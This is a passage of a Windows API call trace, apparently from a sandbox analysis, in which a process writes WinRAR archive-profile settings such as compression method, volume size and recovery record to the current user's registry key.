[0058.223] SetLastError (dwErrCode=0x0) [0058.223] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.223] RegSetValueExW (in: hKey=0x218, lpValueName="ImmExec", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.223] RegCloseKey (hKey=0x218) returned 0x0 [0058.224] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2) returned 0x1ec0a5a6740 [0058.224] GetLastError () returned 0x0 [0058.224] SetLastError (dwErrCode=0x0) [0058.224] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.224] RegSetValueExW (in: hKey=0x218, lpValueName="ExclNames", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.224] RegCloseKey (hKey=0x218) returned 0x0 [0058.224] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5a6740 | out: hHeap=0x1ec0a590000) returned 1 [0058.224] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2) returned 0x1ec0a5a6740 [0058.224] GetLastError () returned 0x0 [0058.224] SetLastError (dwErrCode=0x0) [0058.224] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.224] RegSetValueExW (in: hKey=0x218, lpValueName="StoreNames", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.224] RegCloseKey (hKey=0x218) returned 0x0 [0058.224] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5a6740 | out: hHeap=0x1ec0a590000) returned 1 [0058.224] GetLastError () returned 0x0 [0058.224] SetLastError (dwErrCode=0x0) [0058.224] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.224] RegSetValueExW (in: hKey=0x218, lpValueName="UseRAR", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x1, cbData=0x4 | out: lpData=0xe414fb268*=0x1) returned 0x0 [0058.224] RegCloseKey (hKey=0x218) returned 0x0 [0058.224] GetLastError () returned 0x0 [0058.224] SetLastError (dwErrCode=0x0) [0058.224] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.224] RegSetValueExW (in: hKey=0x218, lpValueName="RAR5", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x1, cbData=0x4 | out: lpData=0xe414fb268*=0x1) returned 0x0 [0058.224] RegCloseKey (hKey=0x218) returned 0x0 [0058.224] GetLastError () returned 0x0 [0058.225] SetLastError (dwErrCode=0x0) [0058.225] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.225] RegSetValueExW (in: hKey=0x218, lpValueName="SFXModule", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.225] RegCloseKey (hKey=0x218) returned 0x0 [0058.225] GetLastError () returned 0x0 [0058.225] SetLastError (dwErrCode=0x0) [0058.225] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", ulOptions=0x0, samDesired=0x20006, phkResult=0xe414fae10 | out: phkResult=0xe414fae10*=0x218) returned 0x0 [0058.225] RegDeleteValueW (hKey=0x218, lpValueName="SFX") returned 0x2 [0058.225] RegCloseKey (hKey=0x218) returned 0x0 [0058.225] GetLastError () returned 0x0 [0058.225] SetLastError (dwErrCode=0x0) [0058.225] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.225] RegSetValueExW (in: hKey=0x218, lpValueName="SFXIcon", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.225] RegCloseKey (hKey=0x218) returned 0x0 [0058.225] GetLastError () returned 0x0 [0058.225] SetLastError (dwErrCode=0x0) [0058.225] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.225] RegSetValueExW (in: hKey=0x218, lpValueName="SFXLogo", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.225] RegCloseKey (hKey=0x218) returned 0x0 [0058.225] GetLastError () returned 0x0 [0058.225] SetLastError (dwErrCode=0x0) [0058.225] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.225] RegSetValueExW (in: hKey=0x218, lpValueName="SFXElevate", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.225] RegCloseKey (hKey=0x218) returned 0x0 [0058.226] GetLastError () returned 0x0 [0058.226] SetLastError (dwErrCode=0x0) [0058.226] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.226] RegSetValueExW (in: hKey=0x218, lpValueName="CmtFile", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.226] RegCloseKey (hKey=0x218) returned 0x0 [0058.226] GetLastError () returned 0x0 [0058.226] SetLastError (dwErrCode=0x0) [0058.226] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0xe414fad88, lpdwDisposition=0xe414fad80 | out: phkResult=0xe414fad88*=0x218, lpdwDisposition=0xe414fad80*=0x2) returned 0x0 [0058.226] RegSetValueExW (in: hKey=0x218, lpValueName="CmtDataWide", Reserved=0x0, dwType=0x3, lpData=0x7ff6f75df128*, cbData=0x2 | out: lpData=0x7ff6f75df128*) returned 0x0 [0058.226] RegCloseKey (hKey=0x218) returned 0x0 [0058.226] GetLastError () returned 0x0 [0058.226] SetLastError (dwErrCode=0x0) [0058.226] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.226] RegSetValueExW (in: hKey=0x218, lpValueName="VolumeSize", Reserved=0x0, dwType=0x1, lpData="0", cbData=0x4 | out: lpData="0") returned 0x0 [0058.226] RegCloseKey (hKey=0x218) returned 0x0 [0058.226] GetLastError () returned 0x0 [0058.226] SetLastError (dwErrCode=0x0) [0058.226] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.226] RegSetValueExW (in: hKey=0x218, lpValueName="VolSizeMod", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x2, cbData=0x4 | out: lpData=0xe414fb268*=0x2) returned 0x0 [0058.226] RegCloseKey (hKey=0x218) returned 0x0 [0058.226] GetLastError () returned 0x0 [0058.226] SetLastError (dwErrCode=0x0) [0058.226] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.226] RegSetValueExW (in: hKey=0x218, lpValueName="VolPause", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.227] RegCloseKey (hKey=0x218) returned 0x0 [0058.227] GetLastError () returned 0x0 [0058.227] SetLastError (dwErrCode=0x0) [0058.227] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.227] RegSetValueExW (in: hKey=0x218, lpValueName="OldVolNames", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.227] RegCloseKey (hKey=0x218) returned 0x0 [0058.227] GetLastError () returned 0x0 [0058.227] SetLastError (dwErrCode=0x0) [0058.227] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.227] RegSetValueExW (in: hKey=0x218, lpValueName="RecVolNumber", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.227] RegCloseKey (hKey=0x218) returned 0x0 [0058.227] GetLastError () returned 0x0 [0058.227] SetLastError (dwErrCode=0x0) [0058.227] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.227] RegSetValueExW (in: hKey=0x218, lpValueName="Update", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.227] RegCloseKey (hKey=0x218) returned 0x0 [0058.227] GetLastError () returned 0x0 [0058.227] SetLastError (dwErrCode=0x0) [0058.227] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.227] RegSetValueExW (in: hKey=0x218, lpValueName="Fresh", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.228] RegCloseKey (hKey=0x218) returned 0x0 [0058.228] GetLastError () returned 0x0 [0058.228] SetLastError (dwErrCode=0x0) [0058.228] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.228] RegSetValueExW (in: hKey=0x218, lpValueName="SyncFiles", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.228] RegCloseKey (hKey=0x218) returned 0x0 [0058.228] GetLastError () returned 0x0 [0058.228] SetLastError (dwErrCode=0x0) [0058.228] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.228] RegSetValueExW (in: hKey=0x218, lpValueName="Overwrite", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.228] RegCloseKey (hKey=0x218) returned 0x0 [0058.228] GetLastError () returned 0x0 [0058.228] SetLastError (dwErrCode=0x0) [0058.228] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.228] RegSetValueExW (in: hKey=0x218, lpValueName="Move", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.228] RegCloseKey (hKey=0x218) returned 0x0 [0058.228] GetLastError () returned 0x0 [0058.228] SetLastError (dwErrCode=0x0) [0058.228] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.228] RegSetValueExW (in: hKey=0x218, lpValueName="ArcRecBin", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.228] RegCloseKey (hKey=0x218) returned 0x0 [0058.228] GetLastError () returned 0x0 [0058.228] SetLastError (dwErrCode=0x0) [0058.228] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.229] RegSetValueExW (in: hKey=0x218, lpValueName="ArcWipe", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.229] RegCloseKey (hKey=0x218) returned 0x0 [0058.229] GetLastError () returned 0x0 [0058.229] SetLastError (dwErrCode=0x0) [0058.229] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.229] RegSetValueExW (in: hKey=0x218, lpValueName="WipeIfPassword", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.229] RegCloseKey (hKey=0x218) returned 0x0 [0058.229] GetLastError () returned 0x0 [0058.229] SetLastError (dwErrCode=0x0) [0058.229] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.229] RegSetValueExW (in: hKey=0x218, lpValueName="Solid", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.229] RegCloseKey (hKey=0x218) returned 0x0 [0058.229] GetLastError () returned 0x0 [0058.229] SetLastError (dwErrCode=0x0) [0058.229] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.229] RegSetValueExW (in: hKey=0x218, lpValueName="Test", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.229] RegCloseKey (hKey=0x218) returned 0x0 [0058.229] GetLastError () returned 0x0 [0058.229] SetLastError (dwErrCode=0x0) [0058.229] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.229] RegSetValueExW (in: hKey=0x218, lpValueName="RecEnabled", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x1, cbData=0x4 | out: lpData=0xe414fb268*=0x1) returned 0x0 [0058.229] RegCloseKey (hKey=0x218) returned 0x0 [0058.229] GetLastError () returned 0x0 [0058.230] SetLastError (dwErrCode=0x0) [0058.230] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.230] RegSetValueExW (in: hKey=0x218, lpValueName="RecSize", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0xfffffffd, cbData=0x4 | out: lpData=0xe414fb268*=0xfffffffd) returned 0x0 [0058.230] RegCloseKey (hKey=0x218) returned 0x0 [0058.230] GetLastError () returned 0x0 [0058.230] SetLastError (dwErrCode=0x0) [0058.230] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.230] RegSetValueExW (in: hKey=0x218, lpValueName="EraseDest", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.230] RegCloseKey (hKey=0x218) returned 0x0 [0058.230] GetLastError () returned 0x0 [0058.230] SetLastError (dwErrCode=0x0) [0058.230] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.230] RegSetValueExW (in: hKey=0x218, lpValueName="AddArcOnly", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.230] RegCloseKey (hKey=0x218) returned 0x0 [0058.230] GetLastError () returned 0x0 [0058.230] SetLastError (dwErrCode=0x0) [0058.230] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.230] RegSetValueExW (in: hKey=0x218, lpValueName="ClearArc", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.230] RegCloseKey (hKey=0x218) returned 0x0 [0058.230] GetLastError () returned 0x0 [0058.230] SetLastError (dwErrCode=0x0) [0058.230] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.230] RegSetValueExW (in: hKey=0x218, lpValueName="Lock", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.231] RegCloseKey (hKey=0x218) returned 0x0 [0058.231] GetLastError () returned 0x0 [0058.231] SetLastError (dwErrCode=0x0) [0058.231] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.231] RegSetValueExW (in: hKey=0x218, lpValueName="Method", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x3, cbData=0x4 | out: lpData=0xe414fb268*=0x3) returned 0x0 [0058.231] RegCloseKey (hKey=0x218) returned 0x0 [0058.231] GetLastError () returned 0x0 [0058.231] SetLastError (dwErrCode=0x0) [0058.231] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.231] RegSetValueExW (in: hKey=0x218, lpValueName="DictSizeLZ", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x2000000, cbData=0x4 | out: lpData=0xe414fb268*=0x2000000) returned 0x0 [0058.231] RegCloseKey (hKey=0x218) returned 0x0 [0058.231] GetLastError () returned 0x0 [0058.231] SetLastError (dwErrCode=0x0) [0058.231] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.231] RegSetValueExW (in: hKey=0x218, lpValueName="DictSize", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.231] RegCloseKey (hKey=0x218) returned 0x0 [0058.231] GetLastError () returned 0x0 [0058.231] SetLastError (dwErrCode=0x0) [0058.231] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.231] RegSetValueExW (in: hKey=0x218, lpValueName="Background", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.231] RegCloseKey (hKey=0x218) returned 0x0 [0058.231] GetLastError () returned 0x0 [0058.231] SetLastError (dwErrCode=0x0) [0058.231] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.232] RegSetValueExW (in: hKey=0x218, lpValueName="WaitForOther", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.232] RegCloseKey (hKey=0x218) returned 0x0 [0058.232] GetLastError () returned 0x0 [0058.232] SetLastError (dwErrCode=0x0) [0058.232] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.232] RegSetValueExW (in: hKey=0x218, lpValueName="Shutdown", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.232] RegCloseKey (hKey=0x218) returned 0x0 [0058.232] GetLastError () returned 0x0 [0058.232] SetLastError (dwErrCode=0x0) [0058.232] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0xe414f99c8, lpdwDisposition=0xe414f99c0 | out: phkResult=0xe414f99c8*=0x218, lpdwDisposition=0xe414f99c0*=0x2) returned 0x0 [0058.232] RegSetValueExW (in: hKey=0x218, lpValueName="PasswordData", Reserved=0x0, dwType=0x3, lpData=0x7ff6f75df128*, cbData=0x1 | out: lpData=0x7ff6f75df128*) returned 0x0 [0058.232] RegCloseKey (hKey=0x218) returned 0x0 [0058.232] GetLastError () 